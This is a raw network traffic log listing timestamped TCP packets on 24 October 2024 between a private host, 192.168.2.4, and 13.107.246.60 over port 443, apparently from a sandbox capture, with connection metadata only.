Oct 24, 2024 16:05:46.348100901 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348166943 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348176956 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348193884 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348407984 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348931074 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348937035 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348967075 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348973036 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.351459980 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351459980 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351536989 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.351537943 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.351632118 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351635933 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351808071 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351836920 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.351874113 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.351908922 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.352071047 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.352094889 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.352291107 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.352291107 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.352341890 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.358201981 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.358536959 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.358558893 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.358999968 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.359013081 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.480751038 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.481193066 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.481251955 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.481616974 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.481631041 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.488826036 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.488956928 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.489026070 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.489078999 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.489078999 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.489104033 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.489126921 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.491400003 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.491482019 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.491628885 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.491772890 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.491810083 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.618772984 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.618891954 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.618964911 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.619112968 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.619148016 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.619178057 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.619194031 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.621831894 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.621880054 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.621941090 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.622083902 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.622098923 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.084057093 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.084465027 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.084490061 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.084928036 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.084933996 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.114784002 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.115159035 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.115207911 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.115253925 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.115643978 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.115643978 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.115658045 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.115679026 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.116110086 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.116118908 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.212244987 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.212656975 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.212827921 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.212899923 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.212899923 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.212933064 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.212960958 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.215487957 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.215542078 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.215625048 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.215791941 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.215822935 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.240217924 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.240607977 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.240642071 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.241029024 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.241040945 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.248660088 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.248850107 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.248946905 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249001026 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249027014 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.249043941 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249051094 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.249681950 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.249842882 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.249888897 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249938011 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249947071 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.249962091 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.249968052 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.251672983 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.251709938 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.251841068 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.251929045 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.251957893 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.251972914 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.251983881 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.252011061 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.252152920 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.252166033 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.353524923 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.354023933 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.354039907 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.354372978 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.354377985 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.371881008 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.372070074 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.372267008 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.372267008 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.372333050 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.372355938 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.374758959 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.374840975 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.374938965 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.375077009 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.375111103 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.485599041 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.485677004 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.485899925 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.485899925 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.485961914 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.485985041 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.488357067 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.488385916 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.488531113 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.488625050 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.488639116 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.976615906 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.977552891 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.977552891 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.977595091 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.977632046 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.989288092 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.990070105 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.990070105 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:47.990091085 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:47.990098953 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.115356922 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.115449905 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.115565062 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.115600109 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.115668058 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.115668058 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.115709066 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.115740061 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.118474007 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.118530989 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.118633986 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.118804932 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.118824005 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.120811939 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.120975971 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.121073961 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.121073961 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.121131897 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.121139050 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.123182058 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.123265028 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.123483896 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.123483896 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.123564005 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.144193888 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.144624949 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.144659042 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.145030975 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.145041943 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.219046116 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.219470978 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.219480038 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.219903946 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.219908953 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.252814054 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.253550053 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.253550053 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.253567934 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.253587008 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.279131889 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.279304028 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.279480934 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.279480934 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.279864073 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.279894114 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.281836033 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.281928062 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.282052040 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.282141924 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.282162905 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.350878000 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.350903988 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.350965023 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.351013899 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.351351976 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.351351976 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.351366043 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.351372004 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.354942083 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.354981899 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.355066061 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.355216980 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.355247974 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.386771917 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.386921883 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.387022018 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.387192011 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.387192011 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.387209892 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.387221098 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.389873981 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.389945984 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.390074968 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.390263081 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.390295982 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.853936911 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.854404926 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.854450941 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.854896069 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.854908943 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.947594881 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.948261023 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.948322058 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.951421022 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.951436043 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.987273932 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.987417936 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.987468958 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.987495899 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.987539053 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.987670898 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.987703085 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.987735987 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.987751961 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.990227938 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.990271091 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:48.990355015 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.990545034 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:48.990575075 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.035582066 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.036015034 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.036048889 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.036434889 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.036442995 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.083226919 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.083302975 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.083355904 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.083391905 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.083442926 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.083585978 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.084141016 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.084175110 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.084201097 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.084216118 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.087060928 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.087089062 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.087207079 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.087374926 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.087389946 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.103451014 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.103765011 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.103782892 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.104229927 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.104242086 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.128289938 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.128622055 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.128700972 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.128989935 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.129004002 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.176954031 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.177011967 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.177184105 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.177229881 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.177229881 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.177252054 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.177265882 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.179263115 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.179306984 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.179399014 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.179552078 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.179582119 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.233808994 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.233880043 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.234000921 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.234064102 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.234132051 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.234132051 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.234154940 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.234181881 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.235924959 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.235946894 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.236010075 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.236102104 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.236115932 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.328519106 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.328679085 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.328761101 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.328761101 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.328840971 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.328880072 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.330756903 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.330805063 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.330869913 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.330975056 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.331007004 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.735568047 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.736557961 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.736558914 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.736643076 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.736690998 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.837224007 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.838148117 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.838148117 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.838180065 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.838191986 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.928797007 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.929559946 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.929560900 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:49.929593086 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.929627895 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.970808029 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:49.970936060 CEST	443	49937	13.107.246.60	192.168.2.4
